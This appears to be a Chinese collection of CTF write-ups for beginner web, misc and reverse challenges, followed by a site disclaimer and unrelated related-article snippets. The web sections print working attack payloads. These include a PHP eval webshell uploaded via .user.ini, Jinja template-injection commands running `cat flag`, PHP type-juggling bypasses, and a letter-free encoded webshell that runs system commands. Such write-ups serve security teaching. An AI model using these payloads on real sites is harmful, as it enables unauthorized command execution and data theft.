CTF记录

1. [SWPUCTF 2022 新生赛]android

用jadx打开,然后搜索NSS关键字

NSSCTF{a_simple_Android}

2. [SWPU 2024 新生引导]ez_SSTI

模板注入题目,直接焚靖可以秒了

填入数据 ls /

然后 cat /flag即可

获取成功

NSSCTF{2111e7ad-97c5-40d5-9a3b-a2f657bd45e8}

3.[SWPUCTF 2024 秋季新生赛]The future

直接?file=/flag 即可

4.[SWPUCTF 2024 秋季新生赛]怎么多了个没用的php文件

根据题目名称:提示怎么多了个没用的php文件

同时根据题目描述:notion.php 是一个没啥用的php文件,不知道被设计出来是干什么的,出题人傻啦?

可以利用.user.ini文件

第一步:上传.user.ini

创建一个.user.ini文件,写入如下内容:

auto_prepend_file = 1.png

第二步:上传一句话木马(1.png)

创建一个1.txt文件,文件内容为如下内容,之后后缀改成png

<?php
@eval($_POST['x']);
phpinfo();
?>

第三步:使用蚁剑连接

使用蚁剑连接:http://node6.anna.nssctf.cn:28920/uploads/notion.php

NSSCTF{d2056ace-365d-4a90-8c86-3d98f8884b37}

5.[SWPUCTF 2024 秋季新生赛]PHP躲猫猫

get方式传参

post传参

进去到 /getfile.php 那里

经典的md5绕过与文件包含题目

get /getfile.php?CTF=s878926199a&&ATM=s1665632922a

post NSS=/f1ag

拿下

6.[NSSCTF 2022 Spring Recruit]办公文件里的秘密

下载附件为excel文档,进行填色

尝试修改文件后缀名,发现colors压缩包需要爆破

尝试爆破,爆破成功,密码为87654321

成功打开

NSSCTF{youknowtheoffice}

7. [SWPUCTF 2022 新生赛]Capture!

修改高度得part1
 

再LSB隐写一把梭

zsteg -a flag.png #一把梭

猜测base64,无果

再颠倒顺序即可解出

8. [SWPUCTF 2023 秋季新生赛]咱们玩个游戏吧

下载附件,发现8个图片

新建个ppt然后导入即可,然后拼接

扫一下

发现是一串16进制的字符串,然后url解密即可

NSSCTF{mountains_and_seas_for_you}

9. [SWPUCTF 2022 新生赛]Cycle Again

打开,一张图片,一个压缩包

图片丢进随波逐流中

发现第一部分的flag NSSCTF{41d769db-

丢进b神的工具中

爆出第二段flag

9f5d-455e-a458-8012ba3660f3}

两段进行拼接

NSSCTF{41d769db-9f5d-455e-a458-8012ba3660f3}

10.easy_usr

分析

进入地址之后,是一段php代码

<?php
//error_reporting(0);

show_source('./index.php');
class flag_in_there{
  public $name;
  public $age;

  public function __construct($name,$age){
    $this->name = $name;
    $this->age = $age;
  }
  public function get_flag(){
    echo "hello,i'm '$this->name',now '$this->age' years";
  }
}
$flag = new flag_in_there('vfree','19');
$ser = serialize($flag);
$un = $_GET['str'];

if($ser == $un){
  include('flag.php');
  echo $flag;
}else{
  echo "你真棒~";
}
?>

分析代码发现,只要让变量ser=un就可以显示flag。

un可以从手动输入,ser是一个实例序列化。因此可以运行下下面代码,打印一下ser的值就可以。

class flag_in_there{
  public $name;
  public $age;

  public function __construct($name,$age){
    $this->name = $name;
    $this->age = $age;
  }
  public function get_flag(){
    echo "hello,i'm '$this->name',now '$this->age' years";
  }
}
$flag = new flag_in_there('vfree','19');
$ser = serialize($flag);
echo $ser

得到下面的结果

O:13:"flag_in_there":2:{s:4:"name";s:5:"vfree";s:3:"age";s:2:"19";}

然后构造url:
http://subject.catf1ag.cn:49640/index.php?str=O:13:“flag_in_there”:2:{s:4:“name”;s:5:“vfree”;s:3:“age”;s:2:“19”;}

显示flag:catf1ag{eauigjs4pmfc1d2wq3xkvl0h7b5rony89zt6}

11.json

进入网址显示:

<?php
show_source('index.php');
include('flag.php');
$key = $_GET['key'];
$decode = json_decode($key);
if($decode->flag == $flag){
    echo $flag;
}else{
    echo "<h3>404 not found</h4>";
}

?>
404 not found

看代码,首先用到了json_decode函数,说明key应该是一个json类型字符串。
于是构造key={"flag":"0"},发现不行。

另外,需要构造的flag字段与变量flag相等。想到了php的弱类型比较。

php中弱类型对数据的类型要求并不严格,可以让数据类型互相转换。

== 和 ===的区别
php中其中两种比较符号:

==:先将字符串类型转化成相同,再比较

===:先判断两种字符串的类型是否相等,再比较

== 为松散比较 只比较值,不比较数据类型

若字符型值开头为数字,转为数字;

若开头不为数字,为 null 弱比较与 0 相等。)

"abc123"==123 => false
"abc123"==0 => true
"123abc"==123 => true

于是构造key={"flag":0}

得到flag:catf1ag{95rzgmd8ji6uqaeycfs2wno4lt1kp7v3hbx0}

12.strcmp

<?php
error_reporting(0);
include('flag.php');
show_source("index.php");
$str = $_GET['str'];
$init_str = "get_flag";
if($str!=$init_str){
    if(strcmp($init_str,$str)==0){
        echo $flag;
    }else{
        echo "no";
    }
}else{
    echo "nonono";
}

?> no

参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

可知,传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0 !!! 也就是虽然报了错,但却判定其相等了。这对于使用这个函数来做选择语句中的判断的代码来说简直是一个致命的漏洞,当然,php官方在后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。但是我们仍然可以使用这个漏洞对使用老版本php的网站进行渗透测试

对于这段代码,我们能用什么办法绕过验证呢, 只要我们$_GET[‘str’]是一个数组或者一个object即可,但是上一个问题的时候说到过,只能上传字符串类型,那我们又该如何做呢。

其实php为了可以上传一个数组,会把结尾带一对中括号的变量,例如 xxx[]的name(就是$_GET中的str),当作一个名字为xxx的数组构造

?str[]=1

13.不等于0

md5()只对字符加密,对数组加密返回False

所以传输num[]=1既可

14.easy_flask 模板注入问题

打一个{{7*7}}

说明存在

{{config}}

成功解决

15.easy_flask2

尝试一波发现在 /flag下

?cmd={{lipsum.__globals__.__builtins__.__import__("os").popen("ls").read()}}
?cmd={{lipsum.__globals__.__builtins__.__import__("os").popen("cat flag").read()}}

然后得出flag

16.又又不能相等

尝试一波数组绕过 ?num=[] 发现页面无回显内容

在响应头里查看

也可以用科学计数法进行绕过

?num=1e12

找flag方法同理

17.哦豁还有一办呢

查看响应头

发现响应头a

Y2F0ZjFhZ3tzMTBkdm1vOWsyY2hwa

查看源代码 发现flagb

两段进行拼接

Y2F0ZjFhZ3tzMTBkdm1vOWsyY2hwamw0d2d6bjZ5YmEzNzg1dHV4cmllcWZ9

catf1ag{s10dvmo9k2chpjl4wgzn6yba3785tuxrieqf}

18.xor

打开题目

1、推出异或的参数
一般结果都是‘flag{’开头,用‘flag{’和密文前5个字符异或,推出字符‘GAMEG’,推测是GAME循环异或
2、写脚本测试
s=‘!-,"<#}|!#}q#lt#w#`qpw.h~wyvjru#"x.p$s/v%<’
x=‘GAME’
result=‘’
for i in range(len(s)):
result += chr(ord(s[i]) ^ ord(x[i % 4]))
print(result)
得出flag

进行运行

flag{b09fb04d-9f0b-476c-9643-38fe9c5c2b3b}

19.bypass_wakeup

分析过程

运行出来

20.无字符webshell

看到过滤了大小写字母和数字

采用异或绕过或者取反绕过

进入显示:

<?php
$cmd=$_GET['cmd'];
if(preg_match("/[A-Za-z0-9]/",$cmd)){

    die("giaogiaogiao!!!");
}
else {
    eval($cmd);
}
highlight_file(__FILE__)
?>

过滤了字母和数字,要求不能用字母和数字构造出php执行函数。

如何构造无字符webshell:https://blog.csdn.net/m0_59049258/article/details/132381714

函数名取反绕过正则。
使用php打印函数名取反的url编码

<?php
    $a = "system";
    echo urlencode(~$a);
?>

输出:

%8C%86%8C%8B%9A%92

用类似的方法,找出你想要执行的函数名url编码

%8C%86%8C%8B%9A%92  // system 的取反url编码
%93%8C   // ls 的取反url编码
%99%96%91%9B%DF%D0%DF%D2%91%9E%92%9A%DF%DD%D5%99%93%9E%98%D5%DD // find / -name "*flag*" 的取反url编码
%9C%9E%8B%DF%D0%99%93%9E%98%D1%8B%87%8B  //  cat /flag.txt  的取反url编码

有了这些编码,就可以构造payload了。
例如,想要执行system(ls),可以构造:

$_=~%8C%86%8C%8B%9A%92;$__=~%93%8C;$_($__);

接下来开始解题:
首先执行ls查看下文件

http://subject.catf1ag.cn:45499/?cmd=$_=~%8C%86%8C%8B%9A%92;$__=~%93%8C;$_($__);

显示:

Dockerfile docker-compose.yml index.php <?php
$cmd=$_GET['cmd'];
if(preg_match("/[A-Za-z0-9]/",$cmd)){

    die("giaogiaogiao!!!");
}
else {
    eval($cmd);
}
highlight_file(__FILE__)
?>

发现没有flag的信息,于是,尝试搜索下falg文件,尝试执行find / -name "*flag*"

http://subject.catf1ag.cn:45499/?cmd=$_=~%8C%86%8C%8B%9A%92;$__=~%99%96%91%9B%DF%D0%DF%D2%91%9E%92%9A%DF%DD%D5%99%93%9E%98%D5%DD;$_($__);

显示:

/sys/devices/pnp0/00:04/tty/ttyS0/flags /sys/devices/platform/serial8250/tty/ttyS15/flags /sys/devices/platform/serial8250/tty/ttyS6/flags /sys/devices/platform/serial8250/tty/ttyS23/flags /sys/devices/platform/serial8250/tty/ttyS13/flags /sys/devices/platform/serial8250/tty/ttyS31/flags /sys/devices/platform/serial8250/tty/ttyS4/flags /sys/devices/platform/serial8250/tty/ttyS21/flags /sys/devices/platform/serial8250/tty/ttyS11/flags /sys/devices/platform/serial8250/tty/ttyS2/flags /sys/devices/platform/serial8250/tty/ttyS28/flags /sys/devices/platform/serial8250/tty/ttyS18/flags /sys/devices/platform/serial8250/tty/ttyS9/flags /sys/devices/platform/serial8250/tty/ttyS26/flags /sys/devices/platform/serial8250/tty/ttyS16/flags /sys/devices/platform/serial8250/tty/ttyS7/flags /sys/devices/platform/serial8250/tty/ttyS24/flags /sys/devices/platform/serial8250/tty/ttyS14/flags /sys/devices/platform/serial8250/tty/ttyS5/flags /sys/devices/platform/serial8250/tty/ttyS22/flags /sys/devices/platform/serial8250/tty/ttyS12/flags /sys/devices/platform/serial8250/tty/ttyS30/flags /sys/devices/platform/serial8250/tty/ttyS3/flags /sys/devices/platform/serial8250/tty/ttyS20/flags /sys/devices/platform/serial8250/tty/ttyS10/flags /sys/devices/platform/serial8250/tty/ttyS29/flags /sys/devices/platform/serial8250/tty/ttyS1/flags /sys/devices/platform/serial8250/tty/ttyS19/flags /sys/devices/platform/serial8250/tty/ttyS27/flags /sys/devices/platform/serial8250/tty/ttyS17/flags /sys/devices/platform/serial8250/tty/ttyS8/flags /sys/devices/platform/serial8250/tty/ttyS25/flags /sys/devices/virtual/net/lo/flags /sys/devices/virtual/net/eth0/flags /sys/module/scsi_mod/parameters/default_dev_flags /proc/sys/kernel/acpi_video_flags /proc/sys/kernel/sched_domain/cpu0/domain0/flags /proc/sys/kernel/sched_domain/cpu1/domain0/flags /proc/kpageflags /flag.txt <?php
$cmd=$_GET['cmd'];
if(preg_match("/[A-Za-z0-9]/",$cmd)){

    die("giaogiaogiao!!!");
}
else {
    eval($cmd);
}
highlight_file(__FILE__)
?>

找到了flag文件,查看内容,执行cat /flag.txt

得到flag:

catf1ag{327a6c4304ad5938eaf0efb6cc3e53dc} <?php
$cmd=$_GET['cmd'];
if(preg_match("/[A-Za-z0-9]/",$cmd)){

    die("giaogiaogiao!!!");
}
else {
    eval($cmd);
}
highlight_file(__FILE__)
?>

catf1ag{327a6c4304ad5938eaf0efb6cc3e53dc}

21.舔狗日记

打开

随便点击一下

然后在后面添加经过base64编码的东西

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/914140.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【C++滑动窗口 】2831. 找出最长等值子数组|1975

本文涉及的基础知识点 C算法&#xff1a;滑动窗口总结 本题其它解法 【C二分查找 滑动窗口】2831. 找出最长等值子数组|1975 LeetCode2831. 找出最长等值子数组 给你一个下标从 0 开始的整数数组 nums 和一个整数 k 。 如果子数组中所有元素都相等&#xff0c;则认为子数组…

《JVM第9课》垃圾回收器

先来看一张图&#xff0c;串行代表两个垃圾回收器按顺序执行&#xff0c;并行代表同时执行。STW代表工作线程暂停&#xff0c;Stop The World的意思。 垃圾回收器执行顺序执行方式作用区域使用算法说明Serial GC串行工作线程暂停&#xff0c;单线程进行垃圾回收新生代复制算法…

gitlab项目如何修改主分支main为master,以及可能遇到的问题

如果你希望将 Git 仓库的主分支名称从 main 修改为 master&#xff1a; 1. 本地修改分支名称 首先&#xff0c;切换到 main 分支&#xff1a; git checkout main将 main 分支重命名为 master&#xff1a; git branch -m main master2. 更新远程仓库 将本地更改推送到远程仓库…

【Keil5 使用Debug调试,阻塞在System_Init()中,并报错显示:no ‘read‘ permis】

计算机疑难杂症记录与分享006 Keil5 使用Debug调试&#xff0c;阻塞在System_Init()中&#xff0c;并报错显示error 65: access violation at 0x40021000 : no read permission1、问题背景2、问题原因3、问题解决3.1、解决方法1(亲测有效)&#xff1a;3.1.1、修改后的现象13.1.…

接口自动化测试实战(全网唯一)

&#x1f345; 点击文末小卡片 &#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 接口自动化测试是指通过编写程序来模拟用户的行为&#xff0c;对接口进行自动化测试。Python是一种流行的编程语言&#xff0c;它在接口自动化测试中得到了广…

ubuntu 20.04 NVIDIA驱动、cuda、cuDNN安装

1. NVIDIA驱动 系统设置->软件和更新->附加驱动->选择NVIDIA驱动->应用更改。该界面会自动根据电脑上的GPU显示推荐的NVIDIA显卡驱动。 运行nvidia-smi: NVIDIA-SMI has failed because it couldnt communicate with the NVIDIA driver. Make sure that the lat…

HarmonyOS开发 API 13发布首个Beta版本,解决了哪些问题?

HarmonyOS 5.0.1 Beta3&#xff0c;是HarmonyOS开发套件基于API 13正式发布的首个Beta版本。该版本在OS能力上主要增强了C API的相关能力&#xff0c;多个特性补充了C API供开发者使用。HarmonyOS 5.0.1 Beta3完整配套信息如下&#xff1a; 已解决的问题 DevEco Studio 5.0.…

SQL,力扣题目1194,锦标赛优胜者

一、力扣链接 LeetCode1194 二、题目描述 Players 玩家表 -------------------- | Column Name | Type | -------------------- | player_id | int | | group_id | int | -------------------- player_id 是此表的主键(具有唯一值的列)。 此表的每一行表示每个玩…

计算机毕业设计Python+图神经网络考研院校推荐系统 考研分数线预测 考研推荐系统 考研爬虫 考研大数据 Hadoop 大数据毕设 机器学习 深度学习

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 作者简介&#xff1a;Java领…

virtualBox部署minikube+istio

环境准备 virtualBox安装 直接官网下载后安装即可&#xff0c;网上也有详细教程。镜像使用的centos7。 链接&#xff08;不保证还可用&#xff09;&#xff1a;http://big.dxiazaicc.com/bigfile/100/virtualbox_v6.1.26_downcc.com.zip?auth_key1730185635-pWBtV8LynsxPD0-0-…

一文了解Android本地广播

在 Android 开发中&#xff0c;本地广播&#xff08;Local Broadcast&#xff09;是一种轻量级的通信机制&#xff0c;主要用于在同一应用进程内的不同组件之间传递消息&#xff0c;而无需通过系统的全局广播机制。这种方法既可以提高安全性&#xff08;因为广播仅在应用内传播…

CoD-MIL: 基于诊断链提示的多实例学习用于全切片图像分类|文献速递-基于深度学习的病灶分割与数据超分辨率

Title 题目 CoD-MIL: Chain-of-Diagnosis Prompting Multiple Instance Learning for Whole Slide Image Classification CoD-MIL: 基于诊断链提示的多实例学习用于全切片图像分类 01 文献速递介绍 病理检查被广泛视为肿瘤诊断的金标准&#xff0c;因为它为治疗决策和患者…

Socket 和 WebSocket 的应用

Socket&#xff08;套接字&#xff09;是计算机网络中的一个抽象层&#xff0c;它允许应用程序通过网络进行通信。套接字用于跨网络的不同主机上的应用程序之间的数据交换。在互联网中&#xff0c;套接字通常基于 TCP&#xff08;传输控制协议&#xff09;或 UDP&#xff08;用…

uniapp发布到微信小程序,提示接口未配置在app.json文件中

使用uniapp打包上传微信小程序发布&#xff0c;在提交审核时提示 “接口未配置在app.json文件中” 如下图所示 解决方法&#xff1a;在manifest.json文件中打开源码视图&#xff0c;添加 requiredPrivateInfos 字段键入所需要的接口&#xff08;数组&#xff09;

Golang | Leetcode Golang题解之第557题反转字符串中的单词III

题目&#xff1a; 题解&#xff1a; func reverseWords(s string) string {length : len(s)ret : []byte{}for i : 0; i < length; {start : ifor i < length && s[i] ! {i}for p : start; p < i; p {ret append(ret, s[start i - 1 - p])}for i < le…

[产品管理-58]:安索夫矩阵矩阵帮助创业者确定研发出来的产品在市场中定位策略

目录 一、提出背景 二、核心思想与结构 三、应用背景与领域 四、实践案例 安索夫矩阵&#xff08;Ansoff Matrix&#xff09;&#xff0c;也被称为产品/市场方格或成长矢量矩阵&#xff0c;其应用背景可以从以下几个方面进行详细阐述&#xff1a; 一、提出背景 安索夫矩阵…

使用 Vue 配合豆包MarsCode 实现“小恐龙酷跑“小游戏

作者&#xff1a;BLACK595 “小恐龙酷跑”&#xff0c;它是一款有趣的离线游戏&#xff0c;是Google给Chrome浏览器加的一个有趣的彩蛋。当我们浏览器断网时一只像素小恐龙便会出来提示断网。许多人认为这只是一个可爱的小图标&#xff0c; 但当我们按下空格后&#xff0c;小恐…

运行ts文件出错及解决办法

运行ts文件出错及解决办法 TypeError [ERR_UNKNOWN_FILE_EXTENSION]: Unknown file extension “.ts” 这个错误是因为 ts-node 无法直接处理 TypeScript 文件作为 ES 模块。你可以尝试以下解决方案&#xff1a; 解决方案 1: 使用 --loader ts-node/esm 选项 如果你使用的是 …

Unity中IK动画与布偶死亡动画切换的实现

在Unity游戏开发中&#xff0c;Inverse Kinematics&#xff08;IK&#xff09;是创建逼真角色动画的强大工具。同时&#xff0c;能够在适当的时候切换到布偶物理状态来实现死亡动画等效果&#xff0c;可以极大地增强游戏的视觉体验。本文将详细介绍如何在Unity中利用IK实现常规…